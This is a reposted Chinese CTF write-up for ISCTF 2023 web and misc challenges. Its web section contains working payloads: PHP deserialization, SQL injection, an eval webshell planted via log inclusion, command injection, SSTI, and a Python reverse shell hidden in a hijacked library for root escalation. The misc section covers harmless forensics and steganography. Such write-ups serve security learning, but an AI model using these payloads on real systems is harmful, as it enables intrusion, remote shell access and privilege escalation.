ISCTF 2023 miscweb wp

news2024/9/24 1:20:17

web

圣杯战争!!!

题目:

PHP
<?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;
    }
}

class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();
    }
}
class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);
    }
}
class summon{
    public $Saber;
    public $Rider;

    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;
    }
}

if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}
?>

POP链:summon->artifact->prepare->saber

EXP:

PHP
<?php
class artifact{
    public $excalibuer;
    public $arrow;
}

class prepare{
    public $release;
}
class saber{
    public $weapon;
}
class summon{
    public $Saber;
    public $Rider;
}
$artifact=new artifact();
$prepare=new prepare();
$saber=new saber();
$summon=new summon();
$summon->Saber=$artifact;
$artifact->excalibuer=$prepare;
$prepare->release=$saber;
$saber->weapon="php://filter/read=convert.base64-encode/resource=flag.php";

echo serialize($summon);

?>

 

?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

 

where_is_the_flag

 

当前目录下一个

f4071da9fc4f49e4a9109172d8a8a477.png

根目录下一个

d5cedc34114a44b6b3fd05d3920ce89c.png

环境变量里一个

0a1e21000b2f428eac7b07188c66f2b6.png

 

绕进你的心里

 

e860a0e80c3548ed86c9e9725fa39177.png

md5和第一个preg都用数组绕过

然后第二个preg和strpos组合的话用正则回溯绕过

payload:

Python
import requests

data={"pan_gu":"a"*1000000+"2023ISCTF"}
url="http://43.249.195.138:22110/?hongmeng[]=1&shennong[]=2&zhurong[]=a"
res = requests.post(data=data,url=url)

print(res.text)

4d95b8b8bc0a444d826c49507fa446fb.png

 

 

easy_website

 

同款题:[SWPUCTF 2022 新生赛]ez_sql

URL:http://43.249.195.138:20597/check.php

过滤or select 用双写绕过

空格用/**/绕过

 

查当前库

fe5d22fc64a449478330fe2b2a5f476a.png

查当前库下的表

8978b3032d9840438d923435969700a2.png

列出全部列的内容,最后发现是password里有flag

payload:

POST:
username=0'/**/uunionnion/**/sselectelect/**/group_concat(passwoorrd)/**/from/**/users.users/**/#&password=

4f089eaa021842e4b33b43826a13aedf.png

 

Wafr

4eff25cd23e64e62bb924bd871cb243f.png

payload

POST

code=system('ca\t /f*')%0a

 

webinclude

打开就要参数

cc490e21c28843ed826b33547829c476.png

dirsearch扫下备份文件

7f15fbfa0b9e4341be9d26207e856a6d.png

下载index.bak查看源码

006329d984db40438754980df8e10503.png

定义了两个函数,并且利用这两个函数对原本的参数名进行了加密处理

最后加密结果为dxdydxdudxdtdxeadxekdxea

写个逆向脚本再反求parameter即可

JavaScript
const hash = 'dxdydxdudxdtdxeadxekdxea';

function string_to_int_array(str) {
  const intArr = [];
  for (let i = 0; i < str.length; i++) {
    intArr.push(str.charCodeAt(i) - 97);
  }
  return intArr;
}

function int_array_to_string(int_array) {
  let str = '';
  for (let i = 0; i < int_array.length; i += 2) {
    const charcode = int_array[i] * 26 + int_array[i + 1];
    str += String.fromCharCode(charcode);
  }
  return str;
}

console.log(int_array_to_string(string_to_int_array(int_array_to_string(string_to_int_array(hash)))));
 

c7fc49c090e94541993601307c0543d0.png

得到参数名:mihoyo

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

伪协议直接读,解码base64即可

 

ez_ini

上传.user.ini文件

TOML
GIF89A
auto_append_file="/var/log/nginx/access.log"

UA头添加木马:

PHP
<?php @eval($_POST['shell']);?

dc4a5bfc3e3248b7a8f343c53316c7a1.png

POST:

shell=system('tac /flag');

e0e1b121ff3845a7b354498579c1c010.png

 

fuzz!

187ad54f15584947947b0a750a5880c3.png

flag在/flaggggggg.txt中,要bypass

fuzz脚本

PHP
<?php
for ($i = 32; $i < 129; $i++) {
    if (!preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $i)) {
        echo chr($i);
    }
}
?>

ec8aac6ad9fe4ea39a18a7f38af44d8e.png

排除数字和字母后只剩以下符号可用
-./:[]{|} 空格

"|"没ban,可以放在开头结束前面的curl,然后拼接我们自己的系统命令

flag关键字过滤可以用"[]"正则匹配绕过

paylaod

?file=|tac /fl[a-z]ggggggg.txt

f4a1d81c59954b55a48d5be4353168a8.png

 

1z_Ssql

 

9f5dd2a0443f44238d4e9b7520da6b06.png

先摸索了一下,发现union和=号过滤

过滤等于号,改用>号即可

union过滤就用不了联合查询注入了,考虑布尔盲注

admin' and length(database()) > 1#爆破当前数据库长度

5dbed1b480994dcba061fa2e20c9362a.png

爆到6报错,说明当前数据库长度为6

继续爆库名

从第一位开始,从a字母开始

admin' and substr(database(),1,1) > 'b' #第一位为b

admin' and substr(database(),2,1) > 't' #第二位为t

后面爆出当前库名字就是出题人名字:bthcls

附件拿到两个字典,应该是表和列的,使用bp来爆破

admin' and substr((select §xx§ from bthcls.§xx§ limit 0,1),1,1)>'a' #

c25b0d6945ca4f309dbfe5b79f27c35b.png

根据返回长度找到对应表 列

43d92213652b4de8a4d5a4cdff792a2e.png

得到bthcls.users.password有值

爆数据,字典为32-127纯数字(可打印字符的ascii十进制值)

admin'and ascii(substr((select group_concat(password)from bthcls.users limit 0,1),1,1))>§32§ #

bc71a2189b4843228cd39cb3ca63d123.png

得到第一位的asciii码十进制为119

后续相同操作一直爆,最后爆出完整密码:119 101 49 99 111 109 101 55 111 49 115 99 116 102

对应字符:we1come7o1sctf

账号:admin

密码:we1come7o1sctf

295575341bf54bd091a56097839bb670.png

 

恐怖G7

无过滤ssti,直接注入,flag在环境变量里

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

23595e6499374bdba12396f8a16bc023.png

 

MISC

签到题

32daacc8a9704731aa9b4771bdd06e56.png

附件拿到PS拼接

0e5e7c6699e14a65b49ca245eb98f373.png

扫码回复题目要求信息即可得到flag

 

杰伦可是流量明星

拿到mp3文件,binwalk出一个压缩包

5fd833bb04cc491fab5d88a7de95ff91.png

wireshark打开

在tcp.stream eq 2中找到flag

6128613df79c4a17a7f6b366b6e8a592.png

 

你说爱我?尊嘟假嘟

8207d3eac8cf405e89de9c3c58b95230.png

你说爱我替换为Ook.

尊嘟替换为Ook!

假嘟替换为Ook?

https://www.splitbrain.org/services/ook

解得:

ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z

再base64解密

8c7d8f9a214a4370a76b10f86e85ba65.png

 

easy_zip

6位数字爆破密码即可

eb92ea5d8003405e9cf62a7f3cc83600.png

 

蓝鲨的福利

010打开添加89504E47后保存为png文件打开即可

04ccc9c249c548cb909f4c7dccbdb2b9.png

 

EZcrc

附件拿到zip文件

c1b776729f1c420d8af25d5e3cee98a0.png

https://github.com/AabyssZG/CRC32-Tools

Python xxx.py -3 文件名(zip放同目录下)

工具提取下crc值

dffbc2cf32f04a78a01bfec115df4522.png

排下顺序

Python
   # 读取整个文本文件内容
with open('C:/Users/Nanian233/Desktop/a.txt', 'r') as file:
    content = file.readlines()

# 提取文件名和对应的十六进制数值,放入元组列表
data = [(line.split(':')[0].strip(), int(line.split(':')[1].strip(), 16)) for line in content]

# 按照文件名的数字顺序对元组列表进行排序
sorted_data = sorted(data, key=lambda x: int(x[0].split('.')[0].split()[-1]))

# 输出排序后的结果
for entry in sorted_data:
    print(f"{entry[0]}: {hex(entry[1])}")

改为标准格式

Python
import re

def extract_hex(file_content):
    # 使用正则表达式匹配每一行txt后面的十六进制数据
    hex_values = re.findall(r'\[OK\] \d+\.txt: (0x[0-9a-fA-F]+)', file_content)

    # 将十六进制数据用逗号隔开,头尾套上方括号
    result_str = '[' + ','.join(hex_values) + ']'

    return result_str

if __name__ == '__main__':
    # 用于测试的示例文本,你需要替换成你的实际文本
    example_text = """
    [OK] 0.txt: 0xd2b184ff
    [OK] 1.txt: 0xb462df74
    [OK] 2.txt: 0x32973a9e
    ... (其他行)
    [OK] 217.txt: 0xef809c83
    """

    result = extract_hex(example_text)
    print(result)

爆破脚本 blog.csdn.net

Python
import zlib

crc_list = [xxxx]# 遍历所有可能的3字节数据
for target_crc in crc_list:
    for i in range(256):
        for j in range(256):
            for k in range(256):
                data = bytes([i, j, k])  # 构造3字节数据
                crc = zlib.crc32(data) & 0xffffffff  # 计算CRC32值
                if crc == target_crc:
                    data=data.decode()
                    print(f"Found matching data: {data}")
                    break

print("Finished searching.")

手工分离一下

30ac222487e146fea110b4bfed639278.png

字母表:https://www.xuezimu.com.cn/info/26zimu.php

对照翻译后得到

U1ZORFZFWjdNV1EzTnpjMVpXUXRZV1JoTUMwMFl6WTNMV0l4T0RVdE1HSXpZelF4WXpsa05tUXlmUT09

两段base64解密得到flag

067a2e044e22457c9680f35eb10063d6.png

镜流

bandizip爆破压缩包密码

ab7b7c9e4317409c8c8fa7befc836c38.png

查看hint:

3707dca79ab345dfbed244fe9149706e.png

想起了GDOUCTF的题目了

2023 广东海洋大学 GDOUCTF Writeup By AheadSec_末 初的博客-CSDN博客

 

 b7b843392d124628ac5fe052f673b48d.jpg

借用师傅的脚本,改12为10即可

Python
from PIL import Image

img = Image.open('arcaea.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//10,h//10))

for x in range(w//10):
    for y in range(h//10):
        (r,g,b)=img.getpixel((x*10,y*10))
        img_obj.putpixel((x,y),(r,g,b))

img_obj.save('ok.png')

提取出一个新的png图片

49addd7350dd44728b450e09ed14c061.png

zsteg查看发现还藏了一张图在lsb最低位处

fc5ed6a1563b4b70b219af5613022adb.png

zsteg -e b1,rgb,lsb,xy ok.png -> out.png 提取出来得到flag

93382789ff614895a80de5823c44e93e.png

 

ezUSB

wireshark分析流量特征,发现有蓝牙和usb流量

e2b3a64fd3184957a0beff0835477b3c.png

tshark- T json -r 题目.pcapng >output.json

提取数据以json格式

 

usb流量:

strings output.json | grep "usbhid.data">1.txt(提取usb流量)

9b1821c144974bd58e6faada9c91b272.png

去掉字段名和开头的01字节,并取随后的8byte保存

17003cf9bed4404da0872ed0de43d207.png

Python
#!/usr/bin/env python
# -*- coding:utf-8 -*-

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('change.txt')#数据文件路径
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
print ('output :' + "".join(output))

得到后半段flag

1d4bd0f93c6a4b7d9547a3dbe9e54302.png

收集删除的字符可以发现key:soezusb

 

蓝牙流量:

strings output.json | grep "btatt.value">2.txt

修改下格式后保存,依旧使用上面的脚本

6797905789eb4dba9f149f34433c6213.png

c9ea7d32516a44a3a2e1f5222bb59a4b.png

先进行flag连接:

AGGSZ{Kp_wn_YRV_SOV_JMFYFFJS!!!}
keysoezusb

 

维吉尼亚密码

c08004cbcce54ef4854e7b2435e7f112.png

ISCTF{So_ez_USB_AND_VIGENERE!!!}

 

小蓝鲨的秘密

伪加密

改两个00即可

9705c1c66f9c4f29929ce950b9d201c3.png

fb4a2d51c7044d1d88a83b1e514deab9.png

png图片拉下宽高

a7514fa6250942a99497d770aaa77152.png

得到key:15CTF2023

93c2555ef2f24c059a7e3d83a7039f4d.png

解密AES即可

在线AES加密 | AES解密 - 在线工具

33d13e3ea4e34c3e8edac4ee730c813d.png

 

Ez_misc

拿到附件

abb5184d1e6c4bf28a9e550da1c34dfe.png

ppt最后一张图备注处拿到密码:M13c_!ps2s23

21af05b025924ac0a394626ffba5f6a2.png

解压flag.zip后发现jpg文件打不开

257a54ebf513461f8143bbfac877a760.png

010打开后发现文件头缺失,补充即可

09bfb65d45904d698e99913fad7c7820.png

打开得到二维码,扫码得到flag

a0a2fda1fe0b4b41b310cfd3eb44b2b6.png

 

spalshes

预期解:

fe205b7708bb4065b4c91f783165c339.png

解密文本拿到点坐标

Python
import matplotlib.pyplot as plt
# 提供的数据
data =[1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,
4,2.75,1,4,2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,
5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1,
7,3,1,7.5,3,1,8,3,1,8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1,
9,3,1,9.5,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,1,
11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1]
# 将数据分割成 x 和 y 坐标
x = data[::3]
y = data[1::3]
# 绘制散点图
plt.scatter(x,y)
plt.title('Scatter Plot')
plt.xlabel('X-axis')
plt.ylabel('Y-axis')
plt.show()

9eec648c95fe4861aa6d894567b88c85.png

拿到密码后解压得到二维码,扫码获得flag

 

 

非预期解:

直接爆破6位纯数字

f3b7c43183fd4e7ca0facd6f891539ee.png

出题人年轻了

张学森,下雪了

附件拿到zip和字典

5930a15050cf48648dcfd55388abc1eb.png

字典爆破出密码:blueSHARK666

d4a32aa317ac47b182fa390c7050dc35.png

结合题目推测flag.txt内有snow隐写

140df345b9c14a7fa69bcc7d46551191.png

hint.txt先进行base64 17次解密后再进行字频统计得到密码:ISCTFZ023

31ea974515914c6281dea1b622aafd6c.png

snow解密即可

b15f49154d3f47d19ba6095abd3cc942.png

MCSOG-猫猫

f300545b89cc41b68a433e177c3624e7.png

在群里发送指定消息

1ca6bb4065e840c0bfd5cccbc8a05c60.png

复制信息到vim中发现有零宽隐写

75fdfa7568554027be00b929cd725e1e.png

https://www.mzy0.com/ctftools/zerowidth1/

勾选200C 202C 200E即可

67f1e4a582cc46b5acf7fe247ec74274.png

 

stream

9ad367b2a5b54e4ea9a9f1c4e8c41c46.png

发现是盲注流量,Tshark提取一下

tshark -r xxx.pcapng -Y "http.request" -T fields -e http.request.full_uri > data.txt

删除一些其他数据并url解码后就得到完整的盲注日志了

af376e008c884db2ba856316ac1bd717.png

BUU 流量分析 sqltest - 云千 - 博客园

Python
# 读取输入文件
with open('xxx', 'r') as file:
    lines = file.readlines()

# 初始化上一行指定位置的数字
prev_digit_position = 0

# 遍历每一行数据
for line in lines:
    # 获取当前行指定位置的数字
    start_index = line.find("SELECT flag from answer limit 0,1),") + len("SELECT flag from answer limit 0,1),")
    end_index = line.find(",1))=")
   
    if start_index != -1 and end_index != -1:
        digit_position = int(line[start_index:end_index])

        # 检查指定位置的数字是否发生变化
        if prev_digit_position + 1 == digit_position:
            # 输出当前行的上一行指定位置的数据
            prev_line = lines[lines.index(line) - 1]
            start_shuju = prev_line.find(",1))=") + len(",1))=")
            end_shuju = prev_line.find("--")
            print(chr(int(prev_line[start_shuju:end_shuju])),end="")

        # 更新上一行指定位置的数字
        prev_digit_position = digit_position
 

f13ed3a605484078b62cacfa1d4b6895.png

PNG的基本食用

1 修复宽高

得到第一段flag

267b552909ec4d9aa6d41ba53556a166.png

ISCTF{png-is-

2 lsb最低位

112c3c25a04c4ac4ace5a095fb3758c5.png

so-ez-

3 binwalk分离出压缩包

9071fddd60934778bcff9b1aa3df1f46.png

解压得到第三段

b05c7cc0f02940e48195a9ffffe690bd.png

for-you}

 

ISCTF{png-is-so-ez-for-you}

 

sudopy

3ed3e32d5e084aa3b0cc26e25ece34c3.png

ssh -p 21269 ctf@43.249.195.138

password:ctf

连接题目后,先pwd查看当前位置

93f4d96502a644ab9d7d966c2dc7290c.png

ls -al 发现flag和一个web.py文件

071d9f0660c143ad832692295bf4586a.png

但是flag得root才能访问

sudo -l 显示出自己(执行 sudo 的使用者)的权限

7e05f8a704d742d9ad81809ca21edb8b.png

发现/usr/bin/python3 /home/ctf/web.py 这样是可以sudo运行不需要密码的

看下web.py的内容

a6da364501af4f9cae0442c91e5756eb.png

导入了一个叫webbrowser的库

找下它的位置

1a3ad27bb4764fa8baca84b77ce504fa.png

Linux权限提升:Python库劫持 - FreeBuf网络安全行业门户

根据文章提到的操作,在webbrowser.py里放入反弹shell

vim /usr/lib/python3.10/webbrowser.py

反弹shell:import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

5c22d78aa2d74ed7a1aa4df601432e2b.png

保存后退出,同时再开个终端连vps,连上后nc -lvnp 端口 开启监听

然后在靶机处执行命令:sudo /usr/bin/python3 /home/ctf/web.py

458afb0e1a6444b7a2f8a5f49d485053.png

成功连接,并且是root权限

接着cd /home/ctf   后 cat flag即可

d755f7cc6d514682a6e480c9b2804ff5.png

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1353364.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阿里云性能测评ESSD Entry云盘、SSD云盘、ESSD和高效云盘

阿里云服务器系统盘或数据盘支持多种云盘类型&#xff0c;如高效云盘、ESSD Entry云盘、SSD云盘、ESSD云盘、ESSD PL-X云盘及ESSD AutoPL云盘等&#xff0c;阿里云百科aliyunbaike.com详细介绍不同云盘说明及单盘容量、最大/最小IOPS、最大/最小吞吐量、单路随机写平均时延等性…

Python中的垃圾回收机制是什么

一、写在前面&#xff1a; 我们都知道Python一种面向对象的脚本语言&#xff0c;对象是Python中非常重要的一个概念。在Python中数字是对象&#xff0c;字符串是对象&#xff0c;任何事物都是对象&#xff0c;而它们的核心就是一个结构体--PyObject。 typedef struct_object{i…

data.TensorDataset解析

data.TensorDataset 是 PyTorch 中的一个类&#xff0c;用于创建一个包含多个张量的数据集。这个类的主要作用是将输入的张量组合成一个数据集&#xff0c;使得在训练过程中可以方便地进行数据加载和迭代。 具体来说&#xff0c;TensorDataset 接受一系列的张量作为输入参数&a…

正负样本分配策略simOTA

simOTA是YOLOX中提出的 正负样本分配策略&#xff08;OTA, SimOTA&#xff0c;TAS&#xff09; OTA源于2021年cvpr的论文&#xff0c;使训练和验证的标签有着更好的对应关系。 yolov5没有用到&#xff0c;只有一种loss&#xff1a; from utils.loss import ComputeLoss comput…

图像识别快速实现

文本的跑通了&#xff0c;接下来玩玩图片场景 1. 引入模型 再另起类test_qdrant_img.py&#xff0c;转化图片用到的模型和文本不太一样&#xff0c;我们这里使用ResNet-50模型 import unittest from qdrant_client.http.models import Distance, VectorParams from qdrant_cl…

im6ull学习总结(三-2)文字显示中文字符

承接上篇文章 中文字符的点阵显示 使用点阵字库时&#xff0c;中文字符的显示原理跟 ASCII 字符是一样的。要注意的地方在于中文的编码&#xff1a;在 C 源文件中它的编码方式是 GB2312 还是 UTF-8&#xff1f;编译出的可执行程序&#xff0c;其中的汉字编码方式是 GB2312 还…

Java 第23章 反射 本章作业

文章目录 反射修改私有成员变量反射和File 反射修改私有成员变量 public class Homework01 {public static void main(String[] args) throws IllegalAccessException, InstantiationException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {/***…

c盘扩容时,d盘无法删除卷问题

C盘扩容时&#xff0c;磁盘管理中D盘右键无法删除卷的原因 首先&#xff0c;D盘下文件夹为空&#xff0c;但是显示可用空间不是100%&#xff0c;经过排查&#xff0c;发现是虚拟内存设置在了D盘导致无法删除卷&#xff0c;这里只需要将虚拟内存放到其他盘&#xff0c;如E盘即可…

bootstrap5实现的在线商城网站Parlo

一、需求分析 在线商城网站是指基于互联网技术搭建的电子商务平台&#xff0c;通过网站提供商品和服务的展示、销售和交易功能。它的主要作用包括以下几个方面&#xff1a; 商品展示和销售&#xff1a;在线商城网站是商家展示商品的平台&#xff0c;可以通过图片、文字、视频等…

阿里巴巴开源异构数据源离线/全量/增量同步工具 - DataX

&#x1f604; 19年之后由于某些原因断更了三年&#xff0c;23年重新扬帆起航&#xff0c;推出更多优质博文&#xff0c;希望大家多多支持&#xff5e; &#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Mi…

web component - 使用HTML Templates和Shadow DOM构建现代UI组件

Web Component是一种用于构建可重用的UI组件的技术。它使用标准化的浏览器API&#xff0c;包括Custom Elements、Shadow DOM和HTML Templates来实现组件化开发方式。这些API都是现代浏览器原生支持的&#xff0c;因此不需要引入第三方库或框架即可使用。 在这篇博客中&#xf…

如何学习TS?

文章目录 一. 8种内置基础类型.ts二. void、never、any、unknown类型void类型never类型any类型unknown类型总结&#xff1a;void和any在项目中是比较常见的&#xff0c;never和unknown不常用。 三. 数组和函数类型定义.ts四. 元组与交叉类型使用元组数组一般有同类型的值组成&a…

页面间动画之放大缩小视图

目录 1、Exchange类型的共享元素转场 2、Static类型的共享元素转场 3、场景示例 在不同页面间&#xff0c;有使用相同的元素&#xff08;例如同一幅图&#xff09;的场景&#xff0c;可以使用共享元素转场动画衔接。为了突出不同页面间相同元素的关联性&#xff0c;可为它们…

管理文件传输的工具CopyQueue mac功能特点

CopyQueue for mac是用于管理文件传输的工具&#xff0c;可以有效地复制多个文件&#xff0c;并且比OS X的速度更快&#xff0c;暂停和恢复文件传输&#xff0c;日程任务和更多&#xff0c;使用和管理起来都非常的简单方便。如果你要复制很多文件&#xff0c;CopyQueue更快更高…

pytest conftest定义一个fixtrue获取测试环境地址

方便全局切换地址 pytest.fixture() def config():data {测试环境: {A环境: 127.0.0.1,B环境: 127.0.0.2,C环境: 127.0.0.3,D环境: 127.0.0.4},}return data.get(测试环境, {}).get(A环境)import pytestdef test_case001(config):url http://str(config):8080/api/user/logi…

从零开始了解大数据(七):总结

系列文章目录 从零开始了解大数据(一)&#xff1a;数据分析入门篇-CSDN博客 从零开始了解大数据(二)&#xff1a;Hadoop篇-CSDN博客 从零开始了解大数据(三)&#xff1a;HDFS分布式文件系统篇-CSDN博客 从零开始了解大数据(四)&#xff1a;MapReduce篇-CSDN博客 从零开始了解大…

基于rk3568 Android H265推流SRS低延迟网页播放方案

在音视频领域&#xff0c;融合推流&#xff0c;低码流&#xff0c;低延迟&#xff0c;浏览器H5化是一个降低成本&#xff0c;提升用户体验的重要手段。同时适配现有直播的生态也是一个必要条件。 在满足上述要求的情况下&#xff0c;我做了以下实践&#xff0c;取得了良好的效果…

每天五分钟计算机视觉:揭秘迁移学习

本文重点 随着人工智能的迅速发展,深度学习已经成为了许多领域的关键技术。然而,深度学习模型的训练需要大量的标注数据,这在很多情况下是不现实的。迁移学习作为一种有效的方法,可以在已有的数据和模型上进行训练,然后将其应用于新的任务。这种方法大大降低了对新任务的…

opencv期末练习题(2)附带解析

图像插值与缩放 %matplotlib inline import cv2 import matplotlib.pyplot as plt def imshow(img,grayFalse,bgr_modeFalse):if gray:img cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)plt.imshow(img,cmap"gray")else:if not bgr_mode:img cv2.cvtColor(img,cv2.COLOR_B…

2023机器人行业总结,2024机器人崛起元年(具身智能)

2023总结&#xff1a; 1.Chatgpt引爆了通用人工智能&#xff0c;最大的受益者或是机器人&#xff0c;2023年最热门的创业赛道便是人形机器人&#xff0c;优必选更是成为人形机器人上市第一股&#xff0c; 可以说2023年是机器人开启智能化的元年&#xff0c;而2024则将成为机器…